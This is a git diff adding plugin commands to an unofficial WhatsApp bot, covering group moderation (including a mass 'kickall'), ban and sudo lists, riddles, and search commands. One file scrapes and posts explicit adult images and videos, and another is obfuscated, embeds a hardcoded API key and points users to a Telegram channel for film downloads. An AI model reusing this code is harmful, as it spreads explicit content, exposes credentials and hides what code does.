+ const { ms, repondre, arg, auteurMessage, superUser, auteurMsgRepondu, msgRepondu } = commandeOptions;
+
+ if (!superUser) { repondre("only modds can use this command"); return };
+
+ if (!arg[0]) { repondre('Please enter the name of the group to create'); return };
+ if (!msgRepondu) { repondre('Please mention a member added '); return; }
+
+ const name = arg.join(" ")
+
+ const group = await zk.groupCreate(name, [auteurMessage, auteurMsgRepondu])
+ console.log("created group with id: " + group.gid)
+ zk.sendMessage(group.id, { text: `Bienvenue dans ${name}` })
+
+});
+
+adams({ nomCom: "left", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
+
+ const { ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage } = commandeOptions;
+ if (!verifGroupe) { repondre("group only"); return };
+ if (!superUser) {
+ repondre("order reserved for the owner");
+ return;
+ }
+
+ await zk.groupLeave(dest)
+});
+
+adams({ nomCom: "join", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
+
+ const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage } = commandeOptions;
+
+ if (!superUser) {
+ repondre("command reserved for the bot owner");
+ return;
+ }
+ let result = arg[0].split('https://chat.whatsapp.com/')[1] ;
+ await zk.groupAcceptInvite(result) ;
+
+ repondre(`Succes`).catch((e)=>{
+ repondre('Unknown error')
+})
+
+})
+
+
+adams({ nomCom: "jid", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
+
+ const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
+
+ if (!superUser) {
+ repondre("command reserved for the bot owner");
+ return;
+ }
+ if(!msgRepondu) {
+ jid = dest
+ } else {
+ jid = auteurMsgRepondu
+ } ;
+ zk.sendMessage(dest,{text : jid },{quoted:ms});
+
+ }) ;
+
+
+
+adams({ nomCom: "block", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
+
+ const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
+
+ if (!superUser) {
+ repondre("command reserved for the bot owner");
+ return;
+ }
+
+ if(!msgRepondu) {
+ if(verifGroupe) {
+ repondre('Be sure to mention the person to block'); return
+ } ;
+ jid = dest
+
+ await zk.updateBlockStatus(jid, "block")
+ .then( repondre('succes'))
+ } else {
+ jid = auteurMsgRepondu
+ await zk.updateBlockStatus(jid, "block")
+ .then( repondre('succes')) } ;
+
+ });
+
+adams({ nomCom: "unblock", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
+
+ const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
+
+ if (!superUser) {
+ repondre("command reserved for the bot owner");
+ return;
+ }
+ if(!msgRepondu) {
+ if(verifGroupe) {
+ repondre('Please mention the person to be unlocked'); return
+ } ;
+ jid = dest
+
+ await zk.updateBlockStatus(jid, "unblock")
+ .then( repondre('succes'))
+ } else {
+ jid = auteurMsgRepondu
+ await zk.updateBlockStatus(jid, "unblock")
+ .then( repondre('succes')) } ;
+
+ });
+
+adams({ nomCom: "kickall", categorie: 'Group', reaction: "📣" }, async (dest, zk, commandeOptions) => {
+
+ const { auteurMessage ,ms, repondre, arg, verifGroupe, nomGroupe, infosGroupe, nomAuteurMessage, verifAdmin, superUser,prefixe } = commandeOptions
+
+ const metadata = await zk.groupMetadata(dest) ;
+
+
+ if (!verifGroupe) { repondre("✋🏿 ✋🏿this command is reserved for groups ❌"); return; }
+ if (superUser || auteurMessage == metadata.owner) {
+
+ repondre('No_admin members will be removed from the group. You have 5 seconds to reclaim your choice by restarting the bot.') ;
+ await sleep(5000)
+ let membresGroupe = verifGroupe ? await infosGroupe.participants : "";
+try {
+ let users = membresGroupe.filter((member) => !member.admin)
+
+ for (const membre of users) {
+
+
+
+
+
+await zk.groupParticipantsUpdate(
+ dest,
+ [membre.id],
+ "remove"
+ )
+ await sleep(500)
+
+ }
+} catch (e) {repondre("I need administration rights")} } else {
+ repondre("Order reserved for the group owner for security reasons"); return
+}
+});
+
+adams({
+ nomCom: 'ban',
+ categorie: 'Mods',
+}, async (dest, zk, commandeOptions) => {
+
+ const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser } = commandeOptions;
+
+
+ if (!superUser) {repondre('This command is only allowed to the bot owner') ; return}
+ if (!arg[0]) {
+ // Function 'reply' must be defined to send a response.
+ repondre(`mention the victim by typing ${prefixe}ban add/del to ban/unban the victim`);
+ return;
+ };
+
+ if (msgRepondu) {
+ switch (arg.join(' ')) {
+ case 'add':
+
+
+ let youareban = await isUserBanned(auteurMsgRepondu)
+ if(youareban) {repondre('This user is already banned') ; return}
+
+ addUserToBanList(auteurMsgRepondu)
+ break;
+ case 'del':
+ let estbanni = await isUserBanned(auteurMsgRepondu)
+ if (estbanni) {
+
+ removeUserFromBanList(auteurMsgRepondu);
+ repondre('This user is now free.');
+ } else {
+ repondre('This user is not banned.');
+ }
+ break;
+
+
+ default:
+ repondre('bad option');
+ break;
+ }
+ } else {
+ repondre('mention the victim')
+ return;
+ }
+});
+
+
+
+adams({
+ nomCom: 'bangroup',
+ categorie: 'Mods',
+}, async (dest, zk, commandeOptions) => {
+
+ const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser,verifGroupe } = commandeOptions;
+
+
+ if (!superUser) {repondre('This command is only allowed to the bot owner') ; return};
+ if(!verifGroupe) {repondre('order reservation for groups' ) ; return };
+ if (!arg[0]) {
+ // Function 'reply' must be defined to send a response.
+ repondre(`type ${prefix}bangroup add/del to ban/unban the group`);
+ return;
+ };
+ const groupalreadyBan = await isGroupBanned(dest)
+
+ switch (arg.join(' ')) {
+ case 'add':
+
+
+
+ if(groupalreadyBan) {repondre('This group is already banned') ; return}
+
+ addGroupToBanList(dest)
+
+ break;
+ case 'del':
+
+ if (groupalreadyBan) {
+ removeGroupFromBanList(dest)
+ repondre('This group is now free.');
+
+ } else {
+
+ repondre('This group is not banned.');
+ }
+ break;
+
+
+ default:
+ repondre('bad option');
+ break;
+ }
+
+});
+
+
+adams({
+ nomCom: 'onlyadmin',
+ categorie: 'Group',
+}, async (dest, zk, commandeOptions) => {
+
+ const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser,verifGroupe , verifAdmin } = commandeOptions;
+
+
+if (superUser || verifAdmin) {
+if(!verifGroupe) {repondre('order reservation for groups' ) ; return };
+ if (!arg[0]) {
+ // Function 'reply' must be defined to send a response.
+ repondre(`type ${prefix}onlyadmin add/del to ban/unban the group`);
+ return;
+ };
+ const groupalreadyBan = await isGroupOnlyAdmin(dest)
+
+ switch (arg.join(' ')) {
+ case 'add':
+
+
+
+ if(groupalreadyBan) {repondre('This group is already in onlyadmin mode') ; return}
+
+ addGroupToOnlyAdminList(dest)
+
+ break;
+ case 'del':
+
+ if (groupalreadyBan) {
+ removeGroupFromOnlyAdminList(dest)
+ repondre('This group is now free.');
+
+ } else {
+
+ repondre('This group is not in onlyadmin mode.');
+ }
+ break;
+
+
+ default:
+ repondre('bad option');
+ break;
+ }
+} else { repondre('You are not entitled to this order')}
+});
+
+adams({
+ nomCom: 'sudo',
+ categorie: 'Mods',
+}, async (dest, zk, commandeOptions) => {
+
+ const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser } = commandeOptions;
+
+
+if (!superUser) {repondre('This command is only allowed to the bot owner') ; return}
+ if (!arg[0]) {
+ // Function 'reply' must be defined to send a response.
+ repondre(`mention the person by typing ${prefix}sudo add/del`);
+ return;
+ };
+
+ if (msgRepondu) {
+ switch (arg.join(' ')) {
+ case 'add':
+
+
+ let youaresudo = await issudo(auteurMsgRepondu)
+ if(youaresudo) {repondre('This user is already sudo') ; return}
+
+ addSudoNumber(auteurMsgRepondu)
+ repondre('succes')
+ break;
+ case 'del':
+ let estsudo = await issudo(auteurMsgRepondu)
+ if (estsudo) {
+
+ removeSudoNumber(auteurMsgRepondu);
+ repondre('This user is now non-sudo.');
+ } else {
+ repondre('This user is not sudo.');
+ }
+ break;
+
+
+ default:
+ repondre('bad option');
+ break;
+ }
+ } else {
+ repondre('mention the victim')
+ return;
+ }
+});
+
+
+adams({ nomCom: "save", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
+
+ const { repondre , msgRepondu , superUser, auteurMessage } = commandeOptions;
+
+ if ( superUser) {
+
+ if(msgRepondu) {
+
+ console.log(msgRepondu) ;
+
+ let msg ;
+
+ if (msgRepondu.imageMessage) {
+
+
+
+ let media = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
+ // console.log(msgRepondu) ;
+ msg = {
+
+ image : { url : media } ,
+ caption : msgRepondu.imageMessage.caption,
+
+ }
+
+
+ } else if (msgRepondu.videoMessage) {
+
+ let media = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage) ;
+
+ msg = {
+
+ video : { url : media } ,
+ caption : msgRepondu.videoMessage.caption,
+
+ }
+
+ } else if (msgRepondu.audioMessage) {
+
+ let media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage) ;
+
+ msg = {
+
+ audio : { url : media } ,
+ mimetype:'audio/mp4',
+ }
+
+ } else if (msgRepondu.stickerMessage) {
+
+
+ let media = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage)
+
+ let stickerMess = new Sticker(media, {
+ pack: 'BMW-MD-TAG',
+ type: StickerTypes.CROPPED,
+ categories: ["🤩", "🎉"],
+ id: "12345",
+ quality: 70,
+ background: "transparent",
+ });
+ const stickerBuffer2 = await stickerMess.toBuffer();
+
+ msg = { sticker: stickerBuffer2}
+
+
+ } else {
+ msg = {
+ text : msgRepondu.conversation,
+ }
+ }
+
+ zk.sendMessage(auteurMessage,msg)
+
+ } else { repondre('Mention the message that you want to save') }
+
+ } else {
+ repondre('only mods can use this command')
+ }
+
+
+ })
+;
+
+
+adams({
+ nomCom : 'mention',
+ categorie : 'Mods',
+} , async (dest,zk,commandeOptions) => {
+
+ const {ms , repondre ,superUser , arg} = commandeOptions ;
+
+ if (!superUser) {repondre('you do not have the rights for this command') ; return}
+
+ const mbdd = require('../bdd/mention') ;
+
+ let alldata = await mbdd.recupererToutesLesValeurs() ;
+ data = alldata[0] ;
+
+
+ if(!arg || arg.length < 1) {
+
+ let etat ;
+
+ if (alldata.length === 0 ) { repondre(`To activate or modify the mention; follow this syntax: mention link type message
+ The different types are audio, video, image, and sticker.
+ Example: mention https://static.animecorner.me/2023/08/op2.jpg image Hi, my name is Beltah`) ; return}
+
+ if(data.status == 'non') {
+ etat = 'Desactived'
+ } else {
+ etat = 'Actived' ;
+ }
+
+ mtype = data.type || 'no data' ;
+
+ url = data.url || 'no data' ;
+
+
+ let msg = `Status: ${etat}
+Type: ${mtype}
+Link: ${url}
+
+*Instructions:*
+
+To activate or modify the mention, follow this syntax: mention link type message
+The different types are audio, video, image, and sticker.
+Example: mention https://telegra.ph/file/52e3bb0ba3868d64df3f0.jpg image Hi, my name is Beltah
+
+To stop the mention, use mention stop`;
+
+ repondre(msg) ;
+
+ return ;
+ }
+
+ if(arg.length >= 2) {
+
+ if(arg[0].startsWith('http') && (arg[1] == 'image' || arg[1] == 'audio' || arg[1] == 'video' || arg[1] == 'sticker')) {
+
+ let args = [] ;
+ for (i = 2 ; i < arg.length ; i++) {
+ args.push(arg[i]) ;
+ }
+ let message = args.join(' ') || '' ;
+
+ await mbdd.addOrUpdateDataInMention(arg[0],arg[1],message);
+ await mbdd.modifierStatusId1('oui')
+ .then(() =>{
+ repondre('mention updated') ;
+ })
+ } else {
+ repondre(`*Instructions:*
+ To activate or modify the mention, follow this syntax: mention link type message. The different types are audio, video, image, and sticker.`)
+ }
+
+ } else if ( arg.length === 1 && arg[0] == 'stop') {
+
+ await mbdd.modifierStatusId1('non')
+ .then(() =>{
+ repondre(' mention stopped ') ;
+ })
+ }
+ else {
+ repondre(`Please make sure to follow the instructions`) ;
+ }
+})
diff --git a/scs/bmwda.js b/scs/bmwda.js
new file mode 100644
index 0000000..7f28c03
--- /dev/null
+++ b/scs/bmwda.js
@@ -0,0 +1,129 @@
+const { adams } = require('../Ibrahim/adams');
+
+// Set a riddle list with questions and answers
+const devinettes = [
+ {
+ question: "I can fly without wings, who am I?",
+ reponse: "The weather",
+ },
+ {
+ question: "I'm always hungry, the more I eat, the fatter I become. Who am I ?",
+ reponse: "A black hole",
+ },
+ {
+ question: "I'm strong when I'm down, but I'm weak when I'm up. Who am I ?",
+ reponse: "The number 6",
+ },
+ {
+ question: "I can be short or long, hard or soft, I can be used by anyone, from young children to experienced musicians. Who am I ?",
+ reponse: "A pencil",
+ },
+ {
+ question: "I am the beginning of the end, the end of every place. I am the beginning of eternity, the end of time and space. Who am I ?",
+ reponse: "The letter 'e'",
+ },
+ {
+ question: "I am white when I am dirty and black when I am clean. Who am I ?",
+ reponse: "A slate",
+ },
+ {
+ question: "I'm liquid, but if you take water away from me, I become solid. Who am I ?",
+ reponse: "Tea",
+ },
+ {
+ question: "I fly without wings, I cry without eyes. Wherever I am, death always accompanies me. Who am I ?",
+ reponse: "The wind",
+ },
+ {
+ question: "I have towns, but no houses. I have mountains, but no trees. I have water, but no fish. Who am I ?",
+ reponse: "A map",
+ },
+ {
+ question: "I can be read, but you can't write about me. You always give to me, but rarely keep me. Who am I ?",
+ reponse: "A borrowed book",
+ },
+ {
+ question: "I come twice in a week, once in a year, but never in a day. Who am I ?",
+ reponse: "The letter 'E'",
+ },
+ {
+ question: "I'm hard to grasp, but you will hold me in your hand when you find me. Who am I ?",
+ reponse: "Your breath",
+ },
+ {
+ question: "The hotter I am, the colder I become. Who am I ?",
+ reponse: "coffe",
+ },
+ {
+ question: "I am the stuff of dreams. I cover broken ideas. I change souls into wings. Who am I ?",
+ reponse: "A book",
+ },
+ {
+ question: "I am white when I am dirty and black when I am clean. Who am I?",
+ reponse: "A slate",
+ },
+ {
+ question: "I can fly without having wings. I can cry without having eyes. Who am I ?",
+ reponse: "A cloud",
+ },
+ {
+ question: "I start at night and finish in the morning. Who am I ?",
+ reponse: "The letter 'N'",
+ },
+ {
+ question: "I can be read, but you can't write about me. You always give to me, but rarely keep me. Who am I ?",
+ reponse: "A borrowed book",
+ },
+ {
+ question: "I feed on everything around me, the air, the earth and even the trees. Who am I ?",
+ reponse: "a fire",
+ },
+ {
+ question: "I am white when I am dirty and black when I am clean. Who am I ?",
+ reponse: "A slate",
+ },
+ {
+ question: "I'm liquid, but if you take water away from me, I become solid. Who am I ?",
+ reponse: "tea",
+ },
+ {
+ question: "I am the beginning of the end and the end of every place. I am the beginning of eternity, the end of time and space. Who am I ?",
+ reponse: "the letter'E'",
+ },
+ {
+ question: "I'm hard to grasp, but you will hold me in your hand when you find me. Who am I ?",
+ reponse: "Your breath",
+ },
+ ];
+
+adams({ nomCom: "riddle", categorie: "Games" }, async (dest, zk, commandeOptions) => {
+ const { ms, repondre } = commandeOptions;
+
+ // Choose a random riddle
+ const devinette = devinettes[Math.floor(Math.random() * devinettes.length)];
+// Send the riddle question
+ await zk.sendMessage(
+ dest,
+ {
+ text: `Riddle: ${devinette.question} . \n you have 30 seconds to think about.`,
+ },
+ { quoted: ms }
+ );
+
+ //Wait 60 seconds before sending the response
+ await delay(30000);
+
+ // Answer
+ await zk.sendMessage(
+ dest,
+ {
+ text: `The answer was : ${devinette.reponse}`,
+ },
+ { quoted: ms }
+ );
+});
+
+// Function to create a pause/delay in milliseconds
+function delay(ms) {
+ return new Promise((resolve) => setTimeout(resolve, ms));
+}
diff --git a/scs/bmwde.js b/scs/bmwde.js
new file mode 100644
index 0000000..2deee17
--- /dev/null
+++ b/scs/bmwde.js
@@ -0,0 +1,33 @@
+const { adams } = require('../Ibrahim/adams');
+const { attribuerUnevaleur } = require('../lib/welcome');
+
+async function events(nomCom) {
+ adams({
+ nomCom: nomCom,
+ categorie: 'Group'
+ }, async (dest, zk, commandeOptions) => {
+ const { ms, arg, repondre, superUser, verifAdmin } = commandeOptions;
+
+ if (verifAdmin || superUser) {
+ if (!arg[0] || arg.join(' ') === ' ') {
+ repondre(nomCom + ' ' + ' on to active and ' + ' ' + nomCom + ' ' + 'off to put off');
+ } else {
+ if (arg[0] === 'on' || arg[0] === 'off') {
+
+ await attribuerUnevaleur(dest, nomCom, arg[0]);
+ repondre( nomCom + "is actualised on " + arg[0]);
+ } else {
+ repondre('on for active and off for desactive');
+ }
+ }
+ } else {
+ repondre('You can\'t use this command lol ');
+ }
+ });
+}
+
+// Appel de la fonction events pour les valeurs 'welcome' et 'goodbye'
+events('welcome');
+events('goodbye');
+events('antipromote');
+events('antidemote') ;
diff --git a/scs/bmwdo.js b/scs/bmwdo.js
new file mode 100644
index 0000000..6251d26
--- /dev/null
+++ b/scs/bmwdo.js
@@ -0,0 +1,24 @@
+const { adams } = require("../Ibrahim/adams");
+const fancy = require("../scs/bmwt");
+
+adams({ nomCom: "fancy", categorie: "Fun", reaction: "〽️" }, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, prefixe } = commandeOptions;
+ const id = arg[0]?.match(/\d+/)?.join('');
+ const text = arg.slice(1).join(" ");
+
+ try {
+ if (id === undefined || text === undefined) {
+ return await repondre(`\nExemple : ${prefixe}fancy 10 Bmw-Md\n` + String.fromCharCode(8206).repeat(4001) + fancy.list('BMW-MD', fancy));
+ }
+
+ const selectedStyle = fancy[parseInt(id) - 1];
+ if (selectedStyle) {
+ return await repondre(fancy.apply(selectedStyle, text));
+ } else {
+ return await repondre('_Style introuvable :(_');
+ }
+ } catch (error) {
+ console.error(error);
+ return await repondre('_Une erreur s\'est produite :(_');
+ }
+});
diff --git a/scs/bmwdu.js b/scs/bmwdu.js
new file mode 100644
index 0000000..abae9f4
--- /dev/null
+++ b/scs/bmwdu.js
@@ -0,0 +1,189 @@
+
+
+const {adams } = require("../Ibrahim/adams");
+const axios = require('axios');
+const cheerio = require('cheerio');
+let func = require('../Ibrahim/mesfonctions') ;
+let hdb = require('../lib/hentai') ;
+
+
+adams({
+ nomCom: "hwaifu",
+ categorie: "Hentai",
+ reaction: "🍑"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
+
+ if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
+
+ let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
+
+ if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
+
+ const url = 'https://api.waifu.pics/nsfw/waifu'; // Remplace avec ton lien réel
+
+ try { for (let i = 0 ; i < 5 ; i++ ) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. : ' +error);
+ }
+});
+
+
+ /////////////// hneko //////////
+adams({
+ nomCom: "trap",
+ categorie: "Hentai",
+ reaction: "🍑"
+},
+async (origineMessage, zk, commandeOptions) => {
+
+ const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
+
+ if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
+
+ let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
+
+ if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
+
+
+ const url = 'https://api.waifu.pics/nsfw/trap'; // Remplace avec ton lien réel
+
+ try { for (let i = 0 ; i < 5 ; i++ ) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+adams({
+ nomCom: "hneko",
+ categorie: "Hentai",
+ reaction: "🍑"
+},
+async (origineMessage, zk, commandeOptions) => {
+
+ const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
+
+ if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
+
+ let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
+
+ if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
+
+ const url = 'https://api.waifu.pics/nsfw/neko'//apiWaifu("neko"); // Remplace avec ton lien réel
+
+ try { for (let i = 0 ;i < 5 ; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+
+adams({
+ nomCom: "blowjob",
+ categorie: "Hentai",
+ reaction: "🍑"
+},
+async (origineMessage, zk, commandeOptions) => {
+
+ const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
+
+ if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
+
+ let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
+
+ if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
+
+ const url = 'https://api.waifu.pics/nsfw/blowjob'; // Remplace avec ton lien réel
+
+ try { for (let i = 0 ; i < 5 ; i++ ) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+
+
+adams({
+ nomCom: "hentaivid",
+ categorie: "Hentai",
+ reaction: "🍑"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
+
+ if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
+
+ let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
+
+ if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
+
+ try {
+
+ let videos = await hentai()
+
+ let length ;
+
+ if (videos.length > 10) {
+ length = 10
+ } else {
+ length = videos.length ;
+ }
+
+
+
+ let i = Math.floor(Math.random() * length) ;
+
+ zk.sendMessage(origineMessage,{video :{url : videos[i].video_1}, caption : `*Title :* ${videos[i].title} \n *Category :* ${videos[i].category}`},{quoted : ms})
+
+
+ } catch (error) {
+ console.log(error)
+ }
+});
+
+
+
+
+
+
+
+async function hentai() {
+ return new Promise((resolve, reject) => {
+ const page = Math.floor(Math.random() * 1153)
+ axios.get('https://sfmcompile.club/page/'+page)
+ .then((data) => {
+ const $ = cheerio.load(data.data)
+ const hasil = []
+ $('#primary > div > div > ul > li > article').each(function (a, b) {
+ hasil.push({
+ title: $(b).find('header > h2').text(),
+ link: $(b).find('header > h2 > a').attr('href'),
+ category: $(b).find('header > div.entry-before-title > span > span').text().replace('in ', ''),
+ share_count: $(b).find('header > div.entry-after-title > p > span.entry-shares').text(),
+ views_count: $(b).find('header > div.entry-after-title > p > span.entry-views').text(),
+ type: $(b).find('source').attr('type') || 'image/jpeg',
+ video_1: $(b).find('source').attr('src') || $(b).find('img').attr('data-src'),
+ video_2: $(b).find('video > a').attr('href') || ''
+ })
+ })
+ resolve(hasil)
+ })
+ })
+}
diff --git a/scs/bmwee.js b/scs/bmwee.js
new file mode 100644
index 0000000..90288a6
--- /dev/null
+++ b/scs/bmwee.js
@@ -0,0 +1,205 @@
+const axios = require("axios");
+const {
+ adams
+} = require('../Ibrahim/adams');
+const {
+ Sticker,
+ StickerTypes
+} = require('wa-sticker-formatter');
+adams({
+ 'nomCom': "ranime",
+ 'categorie': 'Fun',
+ 'reaction': '📺'
+}, async (_0x3706cd, _0x4d0877, _0x335041) => {
+ const {
+ repondre: _0x131828,
+ ms: _0x2bfc9e
+ } = _0x335041;
+ try {
+ const _0x6bdb84 = await axios.get('https://api.jikan.moe/v4/random/anime');
+ const _0x485e75 = _0x6bdb84.data.data;
+ const _0x541be4 = _0x485e75.title;
+ const _0x18c0c5 = _0x485e75.synopsis;
+ const _0x18cb16 = _0x485e75.images.jpg.image_url;
+ const _0x12d2f0 = _0x485e75.episodes;
+ const _0x4921cf = _0x485e75.status;
+ const _0x78e365 = "📺 Titre: " + _0x541be4 + "\n🎬 Épisodes: " + _0x12d2f0 + "\n📡 Statut: " + _0x4921cf + "\n📝 Synopsis: " + _0x18c0c5 + "\n🔗 URL: " + _0x485e75.url;
+ _0x4d0877.sendMessage(_0x3706cd, {
+ 'image': {
+ 'url': _0x18cb16
+ },
+ 'caption': _0x78e365
+ }, {
+ 'quoted': _0x2bfc9e
+ });
+ } catch (_0x1e299d) {
+ console.error("Error retrieving data from JSON :", _0x1e299d);
+ _0x131828("Error retrieving data from JSON.");
+ }
+});
+adams({
+ 'nomCom': "google",
+ 'categorie': 'Search'
+}, async (_0xce35ee, _0x580287, _0x1a7926) => {
+ const {
+ arg: _0x45ffa0,
+ repondre: _0x44c3f6
+ } = _0x1a7926;
+ if (!_0x45ffa0[0x0] || _0x45ffa0 === '') {
+ _0x44c3f6("Give me a query.\n*Example: .google What is a bot.*");
+ return;
+ }
+ const _0x47ba40 = require("google-it");
+ try {
+ const _0xb04653 = await _0x47ba40({
+ 'query': _0x45ffa0.join(" ")
+ });
+ let _0x100d9a = "Google search for : " + _0x45ffa0 + "\n\n";
+ for (let _0x288157 of _0xb04653) {
+ _0x100d9a += "➣ Title : " + _0x288157.title + "\n";
+ _0x100d9a += "➣ Description : " + _0x288157.snippet + "\n";
+ _0x100d9a += "➣ Link : " + _0x288157.link + "\n\n────────────────────────\n\n";
+ }
+ _0x44c3f6(_0x100d9a);
+ } catch (_0x277bfb) {
+ _0x44c3f6("An error occurred during Google search.");
+ }
+});
+adams({
+ 'nomCom': "imdb",
+ 'categorie': "Search"
+}, async (_0x3e0c57, _0x31cdeb, _0x68675d) => {
+ const {
+ arg: _0xb16e9f,
+ repondre: _0x390000,
+ ms: _0x2128cb
+ } = _0x68675d;
+ if (!_0xb16e9f[0x0] || _0xb16e9f === '') {
+ _0x390000("give the name of a series or film.");
+ return;
+ }
+ try {
+ const _0x2465ce = await axios.get('http://www.omdbapi.com/?apikey=742b2d09&t=' + _0xb16e9f + '&plot=full');
+ const _0x15db1f = _0x2465ce.data;
+ let _0xd32d5c = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n";
+ _0xd32d5c += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n";
+ _0xd32d5c += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n";
+ _0xd32d5c += "🎬Title : " + _0x15db1f.Title + "\n";
+ _0xd32d5c += "📅year : " + _0x15db1f.Year + "\n";
+ _0xd32d5c += "⭐Assessment : " + _0x15db1f.Rated + "\n";
+ _0xd32d5c += "📆Release : " + _0x15db1f.Released + "\n";
+ _0xd32d5c += "⏳Runtime : " + _0x15db1f.Runtime + "\n";
+ _0xd32d5c += "🌀Genre : " + _0x15db1f.Genre + "\n";
+ _0xd32d5c += "👨🏻💻Director : " + _0x15db1f.Director + "\n";
+ _0xd32d5c += "✍writers : " + _0x15db1f.Writer + "\n";
+ _0xd32d5c += "👨actors : " + _0x15db1f.Actors + "\n";
+ _0xd32d5c += "📃Synopsis : " + _0x15db1f.Plot + "\n";
+ _0xd32d5c += "🌐Language : " + _0x15db1f.Language + "\n";
+ _0xd32d5c += "🌍Contry : " + _0x15db1f.Country + "\n";
+ _0xd32d5c += "🎖️Awards : " + _0x15db1f.Awards + "\n";
+ _0xd32d5c += "📦BoxOffice : " + _0x15db1f.BoxOffice + "\n";
+ _0xd32d5c += "🏙️Production : " + _0x15db1f.Production + "\n";
+ _0xd32d5c += "🌟score : " + _0x15db1f.imdbRating + "\n";
+ _0xd32d5c += "❎imdbVotes : " + _0x15db1f.imdbVotes + '';
+ _0x31cdeb.sendMessage(_0x3e0c57, {
+ 'image': {
+ 'url': _0x15db1f.Poster
+ },
+ 'caption': _0xd32d5c
+ }, {
+ 'quoted': _0x2128cb
+ });
+ } catch (_0x1cf2b8) {
+ _0x390000("An error occurred while searching IMDb.");
+ }
+});
+adams({
+ 'nomCom': "movie",
+ 'categorie': 'Search'
+}, async (_0x41a878, _0x44c40c, _0x3424dd) => {
+ const {
+ arg: _0x51290b,
+ repondre: _0x111c6a,
+ ms: _0x3b271c
+ } = _0x3424dd;
+ if (!_0x51290b[0x0] || _0x51290b === '') {
+ _0x111c6a("give the name of a series or film.");
+ return;
+ }
+ try {
+ const _0x2fab7f = await axios.get("http://www.omdbapi.com/?apikey=742b2d09&t=" + _0x51290b + "&plot=full");
+ const _0x315c2c = _0x2fab7f.data;
+ let _0x1d9b0f = "*Yoo if you want to download this film join telegram channel below and get it*\n";
+ _0x1d9b0f += " ``` https://t.me/ibrahimtechai```\n";
+ _0x1d9b0f += "*BMW MD FILMS SEARCH*\n";
+ _0x1d9b0f += "🎬Title : " + _0x315c2c.Title + "\n";
+ _0x1d9b0f += "⭐Assessment : " + _0x315c2c.Rated + "\n";
+ _0x1d9b0f += "📆Release : " + _0x315c2c.Released + "\n";
+ _0x1d9b0f += "⏳Runtime : " + _0x315c2c.Runtime + "\n";
+ _0x1d9b0f += "🌀Genre : " + _0x315c2c.Genre + "\n";
+ _0x1d9b0f += "👨🏻💻Director : " + _0x315c2c.Director + "\n";
+ _0x1d9b0f += "✍writers : " + _0x315c2c.Writer + "\n";
+ _0x1d9b0f += "👨actors : " + _0x315c2c.Actors + "\n";
+ _0x1d9b0f += "🌐Language : " + _0x315c2c.Language + "\n";
